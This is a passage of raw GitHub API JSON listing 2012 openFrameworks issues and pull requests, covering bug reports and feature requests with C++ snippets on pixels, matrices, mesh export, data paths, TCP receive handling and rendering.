Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"cf9ec647fbc78faae05cb2d11598f79c"'), ('date', 'Tue, 29 May 2012 19:27:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-30T19:43:55Z","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1217,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","assignee":null,"title":"projectGenerator update doesn't respect existing project settings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T21:03:44Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269431,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-02T10:19:07Z","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1216,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Implement deprecation mechanism","labels":[],"closed_at":null,"created_at":"2012-04-24T21:03:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269429,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-30T19:43:14Z","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1215,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","assignee":null,"title":"projectGenerator sets incorrect path in Project.xcconfig","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T20:59:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269359,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T23:56:33Z","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","comments":3,"milestone":null,"number":1202,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","assignee":null,"title":"ofVideoPlayer etc needs ofColor access","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-22T18:42:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4231092,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T17:34:24Z","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1201,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","assignee":null,"title":"Feature provocation pull request: ofCamera lens offset","labels":[],"closed_at":null,"created_at":"2012-04-22T15:55:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4230131,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch"}},{"updated_at":"2012-05-14T01:22:17Z","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","comments":8,"milestone":null,"number":1190,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","assignee":null,"title":"Bezier Shaders & Vector openGL rendering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-20T09:23:00Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4207350,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:41:20Z","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1189,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetCurveResolution + ofBezierVertex bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-20T08:51:51Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4206982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:10:23Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set 